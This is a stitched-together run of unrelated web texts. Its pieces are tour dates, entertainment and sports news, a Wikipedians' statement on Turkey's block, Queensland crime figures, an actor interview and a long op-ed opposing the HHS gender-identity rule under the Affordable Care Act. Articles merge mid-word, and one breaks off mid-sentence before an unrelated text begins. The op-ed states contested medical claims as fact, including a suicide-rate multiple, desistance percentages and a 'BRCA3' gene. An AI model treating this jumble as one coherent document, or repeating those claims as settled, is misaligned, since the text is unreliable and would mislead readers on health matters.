July 08 Darien Center, NY Darien Lake Performing Arts Center
July 09 Scranton, PA Toyota Pavilion
July 10 Mansfield, MA Xfinity Center (formerly Comcast Center)
July 11 Camden, NJ Susquehanna Bank Center
July 12 Wantagh, NY Nikon at Jones Beach Amphitheater
July 13 Hartford, CT Xfinity Theatre (Formerly Comcast Theatre)
July 15 Burgettstown, PA First Niagara Pavilion
July 16 Cincinnati, OH Riverbend Music Center
July 17 Cuyahoga Falls, OH Blossom Music Center
July 18 Auburn Hills, MI The Palace of Auburn Hills
July 19 Tinley Park, IL First Midwest Bank Amphitheatre
July 20 Shakopee, MN Canterbury Park
July 22 Columbia, MD Merriweather Post Pavilion
July 23 Virginia Beach, VA Farm Bureau Live At Virginia Beach
July 24 Atlanta, GA Aaron's Amphitheatre at Lakewood
July 25 St. Petersburg, FL Vinoy Park
July 26 West Palm Beach, FL Cruzan Amphitheatre
July 27 Orlando, FL Central Florida Fairgrounds
July 28 Charlotte, NC PNC Music Pavilion Charlotte
July 29 Nashville, TN Tennessee State Fairgrounds
July 30 Milwaukee, WI Marcus Amphitheatre
July 31 Bonner Springs, KS Cricket Wireless Amphitheater
August 02 Salt Lake City, UT Utah State Fairpark
August 03 Denver, CO Sports Authority Field at Mile HighHow do the trailers for both series stack up? THR takes a look
Syfy hopes to take a page from AMC's The Walking Dead and find ratings gold with its new zombie drama Z Nation.
Z Nation, picked up straight to series, hails from Eureka producer Karl Schaefer and centers on the struggle to save humanity after a zombie apocalypse. While AMC's ratings juggernaut focuses on rebuilding humanity rather than finding a cure for the mysterious outbreak. The AMC series is adapted from Robert Kirkman's graphic novels, with the creator never interested in making his show or comic about finding a cure or explaining the origin of the outbreak.
Judging from Syfy's Z Nation trailer, that seems to be the main difference between the two series as a human seems to have survived a bite from the undead. On Walking Dead, meanwhile, Eugene (Josh McDermitt) claims to know how to cure the outbreak (though comics fans know otherwise).
THR takes a look at the original Walking Dead trailer and Syfy's newly released Z Nation clip to see how both series compare — and shocker! — they're pretty close.
Journey to Washington? Check. (Though on The Walking Dead, the pilot journey is to Atlanta and Washington comes later.)
No cure? Check.
Bearded hero? Check. (Andrew Lincoln vs. Tom Everett Scott)
Zombies in tight spaces? Check. (Hospital vs. jail.)
Creepy child zombie? Check.
Check out both trailers below, and hit the comments with your thoughts. Z Nation bows Friday, Sept. 12, at 10 p.m. on Syfy. The Walking Dead returns Sunday, Oct. 12, at 9 p.m. on AMC.
Email: Lesley.Goldberg@THR.com
Twitter: @SnooditShare. The Big N's presence is getting bigger. The Big N's presence is getting bigger.
With several games and events planned for the upcoming 2014 San Diego Comic-Con, Nintendo has issued a statement saying that this year will see "Nintendo's biggest presence at Comic-Con ever."
Attendees will be able to check out the recently-announced Amiibo figurines and play several games on both the Wii U and 3DS systems including Bayonetta 2, Hyrule Warriors, Sonic Boom: Rise of Lyric, Shovel Knight, Yoshi's Woolly World, and Pokémon Art Academy. Check out the complete list of playable games here.
Exit Theatre Mode
Nintendo will also be hosting several events during SDCC, including the 3DS Super Smash Bros. tournament, a screening of the FUNimation Entertainment animated film Bayonetta: Bloody Fate, Mario Kart 8 competitions, and Nintendo Challenge Live, a stage show that will live stream challenges and competitions from upcoming games.
While they will have a booth dedicated entirely to Super Smash Bros. on the SDCC convention floor, all of these playable games and events will take place in the Nintendo Gaming Lounge at the Marriott Marquis & Marina hotel. The lounge is open to the public, and even those without an SDCC event badge will be permitted entry and allowed to play the available games.
"Nintendo fans are going to have a great time with what we have planned for San Diego Comic-Con this year, whether they are attending the event or watching from home across the country," Nintendo of America Executive Vice President of Sales & Marketing Scott Moffitt said of the company's plans. "From first hands-on opportunities to tournaments and a fun live stream, we want to make sure that everyone has a great time experiencing Nintendo at the show."
Cassidee is a freelance writer for various outlets around the web. Follow her quest to become somewhat decent at Street Fighter on Twitter.Wikipedians Respond to Block by Turkish Government
On Saturday 29 April 2017, Turkish authorities blocked access to Wikipedia inside the country.[1] This has led to the loss of access to large amounts of historical, cultural, and scientific knowledge for the people.
We, the undersigned members of the Wikimedia movement, believe that all people deserve access to independent high quality information in the language of their choosing and in a format they can use. While we are happy to respond to concerns about our content, governments or corporations do not determine our content. The final arbitrator in such decisions is generally community consensus, based on independent sources. We support freedom of expression and access to information.
A number of media reports have suggested, through claims attributed to Turkish authorities, that Wikipedians supported terrorism or created content “supporting terrorism”.[1][2] We are disappointed and surprised by the suggestion that our communities would support terrorism or violent action of any kind. This runs counter to the very nature of our work, which is to neutrally present the facts and major points of view. We do not support political agendas on Wikipedia. We do not support terrorism.
This statement complements those made by the Wikimedia Foundation.[3][4]
Some ways to still get access
See also
ReferencesSection 1557 of the Affordable Care Act (also known as Obamacare) prohibits discrimination on the basis of sex in health coverage and care. The Department of Health and Human Services (HHS) has released the Final Rule[1] in which it interprets congressional intent in Section 1557 to mean: “discrimination [in provision of health services] on the basis of sex includes discrimination on the basis of gender identity; failure to treat individuals in accordance with their gender identity may constitute prohibited [sex] discrimination.”[2]
Here I have three objectives: First, to specify the federal gender identity regulations for health care and to clarify what physicians who receive federal reimbursement must do to comply. Second, to construct prospective clinical scenarios in which conflict between a patient’s gender identity claims and a physician’s conscience rights might play out within the clinical setting. And third, to demonstrate why health care providers stand in desperate need of the additional conscience protections that HHS refused to include in the Final Rule.
I. The Gender Identity Mandate (GIM): What it requires and what physicians receiving federal reimbursement must do to comply
On May 18, 2016, HHS issued the Final Rule, Nondiscrimination in Health Programs and Activities, to implement their interpretation of the prohibition of sex discrimination under Section 1557 of Obamacare (2010). What is remarkable about the regulation is the fact that it’s the first federal civil rights statute to prohibit sex discrimination in the provision of health services based on gender identity.[3]
While it is true that Section 1557 prohibits discrimination based on race, color, national origin, sex, age, or disability in certain health programs and activities and builds on long-standing federal civil rights laws: Title VI of the Civil Rights Act of 1964, Title IX of the Education Amendments of 1972, Section 504 of the Rehabilitation Act of 1973, and the Age Discrimination Act of 1975. It is also true that HHS’ characterization of sex discrimination bears no resemblance to that laid down in Title IX. According to the latter, schools receiving federal funds must provide girls and women with opportunity to compete in sports equal to that of boys and men. In other words, the prohibition of sex discrimination according to Title IX refers to biological sex, not to an individual’s “internal sense of gender.”[4] As such, Obamacare’s GIM, expansively redefining sex discrimination to include sexual orientation, pregnancy, sex stereotyping, gender identity, and non-conforming identity (persons who think they are both male and female or neither), is an example of executive overreach.
Effective July 18, 2016, the GIM of the Final Rule applies to doctors or counselors who accept Medicaid, Medicare, CHIP, IHS, or Tricare patients, and prohibits their denial of health care services based on a patient’s gender identity. That means psychological/psychiatric counselors and physicians who prescribe hormone therapy, or who perform hysterectomies, mastectomies, plastic surgery, or genital reconstruction surgery for non-transgender patients will be required to provide the same service to transgender patients who are transitioning to the opposite sex.
It is also important to note the GIM requires covered entities—offices and clinics of physicians who accept federally-funded patients—to treat patients consistent with their gender identity, opening their bathrooms and changing facilities to patients based on their declared gender identity.
Physician infractions against the GIM carry substantial liability: the federal government could withdraw the physician’s federal funding, the Department of Justice could bring enforcement proceedings against offending physicians, and transgender patients could sue the physician for damages and attorneys’ fees. To avoid dealing with the GIM’s threats to conscience and their practice of medicine, some physicians receiving federal reimbursement have simply cancelled their Medicaid, Medicare, CHIP, IHS, or Tricare patients.
HHS gives three reasons for rejecting commenters’ suggestion to import Title IX’s blanket religious exemption into the Final Rule. First, because “Section 1557 itself contains no religious exemption.” Second, because “Title IX and its exemption are limited in scope to educational institutions.” And, third, because “a blanket religious exemption could result in a denial or delay in the provision of health care to individuals and in discouraging individuals from seeking necessary care.”
Hence HHS, adopting (to use their verbiage) “a more nuanced approach in the healthcare context,” includes a provision in the Final Rule that declares: “where application of this regulation would violate applicable Federal statutory protections for religious freedom and conscience, that application will not be required.”[5]
II. Prospective clinical cases: How upcoming conflicts between transgender rights and health care rights of conscience could play out in the clinical setting
It is important to distinguish between, on one side, health care for transgender patients that doesn’t involve gender-transition services—i.e., medically necessary interventions that are morally unproblematic—and, on the other, health care involving elective gender-transition services that physicians could legitimately refuse based on medical and moral convictions.
An example of required or medically indicated treatment: if a transgender male patient (a biological female) comes to an oncologist for ovarian cancer treatment[6] or comes to an internist with high blood pressure, the respective physician treats the transgender patient’s medical pathology as she would that of any other patient. Should either physician withhold necessary medical treatment on grounds the physician “wants nothing to do with patients who are transgender,” each would be guilty of blatant discrimination.
An example of elective gender-transition therapy: a transgender male patient (a biological female) requests a hysterectomy as part of gender transition therapy. The attending physician declines to perform the hysterectomy based on her philosophical, medical, or moral convictions. Provision of the requested surgery contradicts the objective nature of sexuality, constitutes an inappropriate treatment for gender dysphoria—treating gender confusion, in the words of Dr. Paul McHugh, “as a right in need of defending rather than as a mental disorder that deserves understanding, treatment and prevention”—and fails to serve the patient’s best interests.
As already noted, the GIM requires physicians prescribing hormone therapy, or performing hysterectomies, mastectomies, plastic surgery, or genital reconstruction surgery for non-transgender patients to provide the same services to transgender patients. Hence, by way of extrapolation, any practitioners who find themselves in the following clinical situations could be coerced into choosing between the untenable options of acting against their conscientious judgments by providing the transition therapies or acting in accord with their consciences by refusing the therapies while risking the loss of federal reimbursement, the cost and penalties from a patient-initiated lawsuit, and/or exclusion from the practice of medicine.
· An OB/GYN or endocrinologist, a Medicare/Medicaid/Tricare (M/M/T) reimbursement recipient, routinely gives hormone therapy for non-transgender men or women deficient in hormones whose normal levels are necessary for reproductive and general health. But, for moral and medical reasons, the physician conscientiously refuses to give these same hormones as transition therapy for transgender male and female patients.
· An OB/GYN, a recipient of M/M reimbursement, performs hysterectomies for non-transgender women who have pathologically diseased uteri. However, the gynecologist refuses to do the same surgical procedure for a transgender male patient (a biological female) since it would involve the harm of mutilation—the removal of a perfectly healthy uterus—and it would assist in providing gender reassignment surgery that, in the physician’s best medical judgment, fails to adequately address the patient’s gender dysphoria.
· A general surgeon or surgical oncologist, an M/M/T reimbursement recipient, performs bilateral mastectomies for medical reasons (breast cancer in one or both breasts) or for prophylactic reasons (in women carrying BRCA1, 2, or 3 genes). However, the surgeon refuses to perform a bilateral mastectomy for a transgender male patient (a biological female) because, in her best medical and moral judgement, the surgery constitutes mutilation, is contrary to the objective meaning of sexuality, and would not adequately treat the patient’s gender dysphoria.
· A pediatrician/pediatric endocrinologist, a Medicaid/CHIP reimbursement recipient, gives development blockers—GnRH agonists—to young children who are sexually developing too early, but conscientiously refuses to give the same to a prepubescent transgender patient on the grounds that (1) these drugs have been shown to stunt children’s growth and risk causing sterility, and (2) their prescription ignores studies suggesting 70-80 percent of gender dysphoria in prepubescent children eventually disappears.
· A child psychologist, a CHIP recipient, advises children struggling with issues of gender maladjustment but refuses to counsel a transgender child to begin real life experience with his/her identified gender. The psychologist’s refusal is based in his best judgment that such counsel would fail to address the underlying psychological/psychiatric etiology of the child’s gender dysphoria and ignores, to the child’s peril, the studies that show gender dysphoria eventually disappears in 70-80 percent of prepubescent children.[7]
· A reconstructive urologist/plastic surgeon, an M/M/T reimbursement recipient, does reconstructive phalloplasty for male patients who have suffered pelvic trauma (e.g., their genital organs have been injured through an accident or as a result of a botched circumcision). However, the same urologist refuses to perform a phalloplasty for a transgender male (a biological female) on grounds that gender reassignment surgery is a form of mutilation (surgical malpractice) and does not resolve the psychological/psychiatric etiology of the patient’s gender dysphoria.
· A cosmetic plastic surgeon, an M/M reimbursement recipient, performs rhinoplasty on women who have an abnormally large nose, chondolargynoplasty on women who have a protruding larynx, and breast augmentations for women with abnormally small breasts. He refuses these same services to transgender females (biological males) because, in his prudent medical judgment, a sex change is biologically impossible and gender reassignment surgery violates the principle of medical ethics, non nocere (do no harm), by perpetuating the patient’s psychiatric disorder of gender confusion.
III. Current legal, judicial and political precedents dictate health care providers need additional conscience protection in the wake of Obamacare’s GIM.
The regnant interpretation of state public accommodations-sexual orientation/gender identity laws threaten health care rights of conscience.
Decisions in high-profile cases involving alleged sexual-orientation discrimination in public accommodations set an ominous precedent for any upcoming gender-identity discrimination cases within health care.
First, in North Coast Women’s Care Medical Group Inc., v. San Diego County Superior Court, the California Supreme Court ruled in favor of the lesbian patient who claimed sexual-orientation discrimination because two physicians conscientiously refused to provide intrauterine insemination to facilitate her pregnancy within a same-sex relationship. The court ruled that, under California’s Unruh Civil Rights Acts (which includes a public accommodations-sexual orientation/gender identity, or PA-SOGI, law), religious liberty did not protect the conscientiously objecting physicians from patient claims:
All persons within the jurisdiction of this state are free and equal, and no matter what their sex, race, color, religion, ancestry, national origin, disability, medical condition, genetic information, marital status, or sexual orientation are entitled to the full and equal accommodations, advantages, facilities, privileges, or services in all business establishments of every kind whatsoever.
The opinion in North Coast suggests that, in upcoming gender-identity lawsuits, conscientiously objecting health care professionals in California and around the country will not be free to follow their consciences. That is to say, doctors who conscientiously refuse gender-transition services in clinical scenarios similar to those under discussion will be subject to fines and penalties for following their moral and medical convictions.
Second, the following court decisions in high-profile sexual-orientation discrimination cases involving claims from gay couples against conscientiously objecting wedding vendors do not bode well for the outcome of future gender-identity discrimination suits against clinicians who conscientiously refuse to provide gender-transition services:
(A) The Supreme Court of New Mexico ruled that the First Amendment does not protect photographer Elaine Huguenin’s right to decline to take pictures of a same-sex commitment ceremony.
(B) Oregon’s Bureau of Labor and Industries issued a ruling that Melissa and Aaron Klein, in their refusal to bake a cake for a same sex couple’s reception, violated Oregon’s PA-SOGI law.
(C) Washington State’s attorney general filed suit against Baronelle Stutzman because, by refusing to arrange flowers for a gay couple’s wedding ceremony, she violated the states PA-SOGI law.
From these sexual-orientation discrimination cases, we can reasonably predict that court decisions in transgender patient-initiated lawsuits would likely favor the plaintiff over the conscientiously objecting health care professional.
The US Constitution cannot fully protect health care rights of conscience.
It is true that the First Amendment expressly constrains government from enacting laws that infringe upon the free exercise of religion. However, as the Supreme Court’s 1990 decision in the landmark case of Smith indicates, state laws of general applicability—like PA-SOGI laws—that impinge upon religious liberty may nevertheless be valid and may very well prevail.
The decision in Smith, then, would not necessarily support the First Amendment religious liberty of conscientiously objecting health care professionals against claims from their transgender patients based on Obamacare’s GIM and state PA-SOGI laws.
The US Congress cannot fully protect health care rights of conscience.
Conscience protection for physicians provided by current federal statutes is narrowly defined. The Church Amendment, for example, states that hospitals or individuals who receive federal funds in various health programs and who object because of moral or religious convictions will not be required to participate in abortion and sterilization procedures. But, as you can see, the objectionable gender-transition therapies just highlighted in the prospective clinical cases do not involve abortion and would only be secondarily opposed on the basis of their sterilizing effect on the patient.
However, a physician who conscientiously refuses to provide gender-transition therapies might appeal to section 300a-7(d) of the Church Amendment:
No individual shall be required to perform or assist in the performance of any part of a health service program or research activity funded in whole or in part under a program administered by the Secretary of Health and Human Services if his performance or assistance in the performance of such part of such program or activity would be contrary to his religious beliefs or moral convictions.
Nevertheless, it seems to me that one cannot reasonably rely on such an appeal for conscience protection in federal or private gender-identity lawsuits, given that the decision in the North Coast case failed to do so.
The Hyde/Weldon Conscience Protection Amendment forbids state or federal governments from forcing physicians, nurses, hospitals, health insurance companies, and other health care entities to perform, pay for, provide coverage of, or refer for abortions. This federal conscience-protection statute would not, therefore, protect physicians who conscientiously refuse to offer gender transition interventions.
In 1993, the US Congress reacted to the implications of Smith by enacting, in bipartisan fashion, the Religious Freedom Restoration Act (RFRA). The act provides in part that:
Government may substantially burden a person’s exercise of religion only if it demonstrates that application of the burden to the person
(1) Is in furtherance of a compelling governmental interest; and
(2) Is the least restrictive means of furthering that compelling governmental interest.
This restriction on government authority applies even if the burden results from a rule of general applicability.
However, in City of Boerne v. Flores, the US Supreme Court, in an opinion by Justice Anthony Kennedy, struck down the federal RFRA as an unconstitutional use of Congress’ enforcement powers as it applies to the states. Hence, according to the Supreme Court, RFRA remains applicable to the federal government, but it does not apply to the states. Kennedy’s decision gainsays the insistence of HHS that the federal RFRA would protect physicians who conscientiously object to provision of gender-transition therapies.
“Right to privacy” protections threaten health care rights of conscience.
The Due Process Clause of the Fourteenth Amendment has become a significant constitutional vehicle for Supreme Court decisions that define a “substantive sphere of liberty”—“a right to privacy”—within the penumbras of the Constitution, a right that extends to a broad range of personal decisions: prevention of pregnancy, sexual relationships, abortion, same-sex marriage, and now, in all likelihood, gender change.
The US government is taking the side of gender ideology (sex as gender identity) over that of biology (sex as biology).
HHS and the Obama administration make several ideological assumptions in the GIM. First, they completely endorse the solipsistic argument that, because the individual’s feeling of gender is a subjective sense, something that exists in the person’s mind or emotions, it cannot be questioned by outsiders. Second, they categorize any attempts to change the “personal truth” of anyone questioning their gender, including underage children, as tantamount to abuse. Third, they consistently suppress inconvenient truths from long-term studies: transgendered persons, beginning 10 years after their sex reassignment surgery, experience increasing mental difficulties and suffer a suicide morality rate 20 times that of non-transgendered persons.
The transgender bathroom and homeless shelter regulations from a myriad of federal agencies—the Department of Education, the Department of Housing and Urban Development, the Department of Justice—ideologically aligned as they are with the GIM regulations, are a thumb on the scale favoring the civil liberty rights of transgender individuals over the conscience rights of public service providers like the physicians highlighted here.
Given this federalized gender ideology, US citizens must unite on behalf of conscience protection in all public services, including health care delivery, for at least two reasons. First, gender identity-based conscience coercion is just lying in wait within Obamacare’s GIM. Second, our current legal, judicial, and political environment views an appeal to conscience as nothing more than a pretext for discrimination.[8]
It is incumbent on conscientious citizens, therefore, to urge their representatives in government to support the passage of conscience protection legislation and to align with their sympathetic state lawmakers to pass comprehensive state health care conscience protections statutes like those on the books in Mississippi and Louisiana.
45 Code of Federal Regulations β 92 at Federal Register, Vol. 81, No. 96 (May 18, 2016). [1] 45 Code of Federal Regulations β 92 at Federal Register, Vol. 81, No. 96 (May 18, 2016). [2] Ibid., commentary on β 92.206, p. 31428: “A majority of commenters strongly supported the requirement that covered entities provide equal access to health programs and activities without discrimination on the basis of sex and treat individuals consistent with their gender identity.” Considerable ink has been spilled in showing that Congress defined “sex” in the sex discrimination prohibition of Section 1557 of the ACA as biological sex not as gender identity.
[3] Ibid., comments section, p. 31455: “Although a large number of providers may already be subject to state laws or institutional policies that prohibit discrimination on the basis of sex in the provision of health services, the clarification of the prohibition of sex discrimination in this regulation, particularly as it relates to discrimination on the basis of sex stereotyping and gender identity, may be new” (italics mine). Substitute “may be new” with “are new” and that would square with reality. The GIM is the first Federal civil rights statute that defines sex discrimination in the provision of health services to include any conscientious physician’s health service refusal that (according to HHS interpretation) is gender identity-based.
[4] Ibid., β 92.4, p. 31467: “Gender identity means an individual’s internal sense of gender, which may be male, female, neither, or a combination of male and female, and which may be different from an individual’s sex assigned at birth. The way an individual expresses gender identity is frequently called ‘gender expression,’ and may or may not conform to social stereotypes associated with a particular gender. A transgender individual is an individual whose gender identity is different from the sex assigned to that person at birth.”
[5] 45 Code of Federal Regulations β 92, Executive Summary, p. 31380.
[6] Ibid., β 92.206, p. 31428: “..., a covered entity may not deny, based on an individual’s identification as a transgender male, treatment for ovarian cancer where the treatment is medically indicated.”
[7] McHugh [http/www.wsj.com/articles/paul-mchugh-transgender-surgery-isnt-the-solution-1402615120 ]
[8] 45 Code of Federal Regulations β 92, “Summary of Regulatory Changes,” p. 31433 exemplifies the same prejudicial assumption that appeals to conscience are mere pretexts for discrimination: “OCR [Office of Civil Rights] will evaluate whether a covered entity utilized, in a nondiscriminatory manner, a neutral rule or principle when deciding to adopt the design feature or take the challenged action or whether the reason for its coverage decision is a pretext for discrimination.... Covered entities will be expected to provide a neutral, nondiscriminatory reason for the denial or limitation that is not a pretext for discrimination.”Tonight’s most compelling American soccer match was a little tricky to find, but it was well worth your investment. In the quarterfinals of the U.S. Open Cup—which pits teams at all levels of American soccer against each other in a single-elimination format—FC Cincinnati beat the Miami 1-0 off a Baye Djiby Fall goal in the 68th minute, keeping the USL club’s improbable run alive.
FCC keeper Mitch Hildebrandt was also once again a hero. After he stopped three of four shootout shots in Cincy’s upset of Chicago, his late-game save on Miami’s game-winner from last round, Kwadwo Poku, was a heart-in-mouth moment for Cincinnati supporters. Again, Hildebrandt didn’t crack under pressure, and he has now gone 510 minutes without allowing a goal in this competition.
Either Cincy or Miami, who each beat MLS teams in the previous round, would have been the first non-MLS squad to make the semifinals since 2011. Nothing against Miami, also a compelling underdog, but the prospect of seeing a raucous FCC crowd at Nippert Stadium host MLS’s New York/New Jersey MetroStars is mouthwatering, especially after the instant classic that was Cincinnati’s fifth-round home game against Chicago. That match will happen on August 15.Let's face it: checks aren't convenient. If you're using them to pay for something, there's all the extra writing and mailing. If you're receiving them, there's a whole process for getting them into your account. Well, MasterCard says it solved the convenience issue with Send: a new system that allows businesses and individuals to securely exchange funds in minutes. This means that you'll no longer have to wait for a check to clear or for the transfer to go through. While businesses looking to send refunds, claims payments and rebates are a key focus, MasterCard is letting regular folks leverage the system to send money to friends and family, too. What's more, you don't have to be one of its customers to opt in, and you can use Send to pay for goods at participating retailers.Queensland crime rate down 2.1 pc, well short of figure touted by Campbell Newman and Ian Stewart
Updated
An analysis of Queensland Police Service statistics shows the crime rate in Queensland dropped 2.1 per cent in the past financial year.
It is part of a long-term downward trend in crime and is thanks largely to a significant decrease in property crime in 2013-14.
But it is well short of the figure used by Premier Campbell Newman in the past week.
"Crime has dropped across the board by around 10 per cent and you saw the Police Commissioner saying that last week," Mr Newman said on Monday.
The QPS data shows that in 2013-14 there were 436,720 offences recorded. That compares to 437,465 the year before.
Allowing for population growth it translates to a 2.1 per cent drop in the crime rate.
Police record crimes in three broad categories: offences against the person, offences against property, and other offences.
Ultimately there is an overall crime rate for the whole of the state for the whole of the year. But what I've been very clear to do is make it very clear that our reported crime... is down significantly. Police Commissioner Ian Stewart
Analysis shows that last financial year offences against the person - which include crimes such as assault, robbery and rape - fell 6.3 per cent.
Offences against property - which include unlawful entry, stealing and fraud - decreased 11.3 per cent.
But other offences - which include drugs, weapons, traffic and breaching domestic violence orders - increased 10.4 per cent.
Criminologist Professor Kerry Carrington, who is head of Queensland University of Technology’s School of Justice, said there were dramatic changes within crime types but described the overall drop of 2.1 per cent as "minor".
"If you have a look at the long-term crime trends of reported crime in Queensland you'll see that the significant drop in reported crime occurred in the decade to 2011," she said.
"After that it’s really just been quite stable."
Police Commissioner hailed'milestone' figure
The Premier's reference to the Police Commissioner, Ian Stewart, relates to an article published in The Courier-Mail on July 15.
"I don't want to crow about it but when I started last year I said I was hopeful we would get a 10 per cent reduction in crime, that is the reported crime," Mr Stewart told The Courier-Mail.
"I think we’re going to exceed that and quite honestly that is a real hallmark and milestone figure."
Mr Stewart said he was excluding "other offences" in his comments on crime.
When you look at the whole database there’s only been a very minor drop of around 2 per cent. Professor Kerry Carrington
"What I've been very clear on every time I've talked about crime stats this year is that reported crime is down significantly and other crime is up significantly," he said.
"Reported crime is in two categories, crimes against the person and property crime, they’re the reported crimes so the ones we get reports on and we go out and follow up the investigation of those.
"Ultimately there is an overall crime rate for the whole of the state for the whole of the year.
"But what I've been very clear to do is make it very clear that our reported crime, so the crime where mums and dads are the victims out there and they report that to us, that is down significantly."
'You have to look at the whole database'
But Professor Carrington said excluding "other offences" is cherry picking.
"You cannot say that," she said.
"If you look at a criminal justice database of reported offences you have to look at the whole database. When you look at the whole database there’s only been a very minor drop of around 2 per cent."
Mr Stewart said the increase in "other offences" relates to "increased police effort".
Criminologist Mark Lauchs said the doubling of the number of reports of extortion was a sign the bikie crackdown is having an effect.
"When we see a rise in people reporting extortion that’s an indicator there's a public faith that they can report without consequences," Dr Lauchs said.
"So that in itself is a very significant issue and it's a sign that something has happened to change public perception of crime.
"Whether it's the bikie laws or the police crackdown is one of those things we’ll argue about for decades."
Topics: crime, law-crime-and-justice, states-and-territories, qld, australia
First postedWhen things are going perfectly, everyone seems to love it when a team is being analytical about every decision. But it's relatively easy to be analytical when the immediate results suggest you're right. What's tougher is holding to your guns when things aren't going so well and everyone is demanding immediate change.
This seems to be the situation the Seattle Sounders currently find themselves in. The recent results have been awful. Four straight losses, especially by a cumulative score of 12-2, would be unacceptable no matter what point in the season they came. That they are coming just as the team heads into the playoffs for a fifth straight year is obviously quite a bit more unsettling.
But at least for now, the Sounders don't seem to be in any rush to make any permanent assessments.
"We will definitely do a deep dive at the end of the season, MLS Cup or first-round exit, and figure out what we think went well and what didn't go well," Sounders general manager and part owner Adrian Hanauer told reporters following Tuesday's training session. "Hopefully our conclusions won't be any different if we win an MLS Cup or if we get eliminated in the first round, because we just want to get better in every area of our organization. That means every area of the organization."
Hanauer went on to list almost literally every part of the organization that will be under examination. He wondered aloud if he could do better as a GM; whether he and Joe Roth could be better owners; if the business side of things could be improved; if they are doing the best possible work in sports-science; if they could have done a better job of scheduling (noting that the Vancouver Whitecaps game on Oct. 9 was originally scheduled for earlier in the season). Somewhere on that list is how well they maximized the talent, something Schmid will obviously be judged on.
But, like Joe Roth told Grant Wahl a day earlier, Hanauer didn't sound as if he was fixing to fire arguably the most successful coach in MLS history, especially one that has dealt with as much roster churn as Schmid has this year.
"I know that first and easiest trigger to pull is to fire the coach," Hanauer said. "That's the easy solution. Let's fire someone. But it's just not always a good solution. My job is to sort through the complexity of the issues, including whether a coach has his players to actually put on the field, because it's hard to blame a coach for not being able to play he'd like to play."
Hanauer compared Schmid's tenure with the Sounders to George Karl's with the Seattle SuperSonics. In his six full seasons, Karl never won a NBA title but did average about 60 wins and made the playoffs every year. His departure heralded an era in which the Sonics missed the playoffs in seven of their final nine seasons.
"I do believe history and a track record are meaningful, and we've had these conversations before in slumps, when everybody wants to put the headline up about the coach on the hot seat," Hanauer said. "I don't think coaches go from being good coaches to bad coaches over night or even over the course of a year.
"There comes a time when every coach, whether it's through how he begins to act or the team, how the interaction works, every coach comes to the end of the line, and whether that means retiring or being fired, it happens. But I don't want to be the |
tell that story, you’re probably just going to look like you weren’t all that engaged.
Was having the horse and that iconography behind you a help, especially in those early episodes?
Sure, no better character introduction. You knew exactly who that character was from the second that he came on camera.
I forget, have you played a proper Western role before?
No, I haven’t done a proper cowboy. I was briefly in the original version of “Tombstone,” but I didn’t make the final cut because that movie went through a couple of different permutations. But I’ve never done a proper grown-up cowboys and guns. That’s awesome. I would love to do that.
In terms of where “The Affair” leaves your career, has it opened up new opportunities for you?
I don’t know. I haven’t explored them yet. I finished last season, I came home, I had a bunch of life stuff to deal with, and then we were back into Season 2.
What do you feel like this could help you launch off to do?
My hope is always to be able to find well-written, interesting material with good people and then actually be able to get those jobs. So if it allows that, then it will have accomplished everything external to the show that I would want from it.
So do you like sticking to series?
I like sticking with good series. I would like to not ever do 22 episodes again. I would really love to not do that. Beyond the physical grind of doing 22 episodes a year, there’s an attention to detail that you can have at 10 or 12 or 13 episodes or whatever it ends up being that I just don’t think is possible for the human mind at 22 episodes. I certainly have always felt at various points during each 22-episode season that I have lost the plot or I’m not as confident for better or for worse in the work that I’m doing. If you don’t like my work in “The Affair,” that’s fine, but I’ll stand by the work because I felt that everything that went on camera was what I intended to go on camera.
With 10, it’s much more manageable?
With 10, it’s much more manageable. The way that our story breaks up, it’s even more manageable than that because it’s not like 10 episodes every single day, dealing with all of these big things. We have these discrete storylines, particularly this year, where you’re in one half of an episodes and maybe a couple of scenes in the other half, but you’re not all over all of the episodes, which gives you more time. And then, also, nothing blows up, there’s no car chases, there’s none of those external things.
So in a way that is very unusual in at least my experience of television, we take the time to rehearse. We spend a lot of time rehearsing. And if there’s a problem with a scene, we’ll put it on its feet and rehearse it and improvise it and try different things and then usually come back to the original text anyways. But that’s not a space that’s really afforded much, just given the pace of television. Normally, the rehearsal is just blocking. If you don’t have an intention going into that scene, you’re not going to be given the opportunity to find it. With our show, that is not the case. We take the time to make sure that we’re servicing the material in a deep and rich way rather than just getting it done.
I’ll cop to this, so much of doing a 22-episode show is just keeping your head above water. We’ve got 10 pages today, we’ve got 10 pages tomorrow, we’ve got 10 pages the day after that. And if you’re doing something like “Fringe,” you’re literally talking about saving the universe every single day. What is the emotional in to finding a way to make that scene fresh or new, so that these things have accumulated, and making sure that you remember 72 episodes ago a conversation that you had? You lose your place sometimes.
But here you really get a chance to breathe.
Not only a chance. You’re encouraged to. Like, “Take your time with this. It’s okay.” We just did a scene the other day that’s a best case scenario for how a bunch of actors on a set can work. I did a scene around a dinner table with a group of actors. I can’t tell you who they are or else it spoils the episode, but a group of actors known to our show. It was a single nine-page scene, which in television is unheard of. Nine straight pages of screen time. I’ve only done a couple of those in my TV career.
And we got there and the group of actors stood outside and we talked about it for a little while, and then we put it on its feet and then we talked about individual beats, and then we put it on its feet again. And then we brought the writers out and we put it on its feet for them and they made some notes to it and we added something and we took out a couple of things. And then we brought the director in and we put it on its feet for them and they had their notes and they pushed and pulled in a couple of different ways. So by the time we got it in front of the camera, we had run this thing 30, 40 times probably, and it was dialed in in a way that if we were just fumbling around during a first shot, you would never ever get to that place.
How long of a process was that?
The rehearsal… we probably took an hour or two out of the day and then shot it for 10 hours after that and got it all cleaned up. But there are very few shows where you could say to your producer, “Hey, we’re going to not film for two hours, but I promise you it is going to save you time in the long run.” Because productions just don’t run like that. People would be having a panic attack.
You did get nine pages shot in a day.
Yep, we did it. I haven’t seen it, but the directors were happy. Everybody by the end of the day felt like, “Yep, I was in control of my piece of that,” and the dynamics work and I think we got the story across. And because there’s no externalities to deal with — it’s not a nine-page scene with a gunfight in the middle of it — you can really take that time to dial in each piece, each line, each intent, each whatever it is in a way that is not often encouraged.
How important is it, that ability to point to it and say, “I had control”?
It certainly makes me more willing to accept criticism. If I did what I wanted to do and it didn’t turn out, that’s on me. If I was scrambling to figure something out and we just had to shoot it because it had to get shot and it doesn’t work, I have a much harder time accepting that.
“The Affair” airs Sundays at 10pm on Showtime.
READ MORE: Who’s Telling the Truth on ‘The Affair’? Golden Globe Winner Sarah Treem Shares Secrets
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Vatican had said that gays and lesbians have "gifts to offer" the Christian community
Vatican retreats a bit Tuesday after pushback from conservative Catholics
Report was a "working document," not the final word from Rome, Vatican says
Under furious assault from conservative Catholics, the Vatican backtracked Tuesday on its surprisingly positive assessment of gays and same-sex relationships.
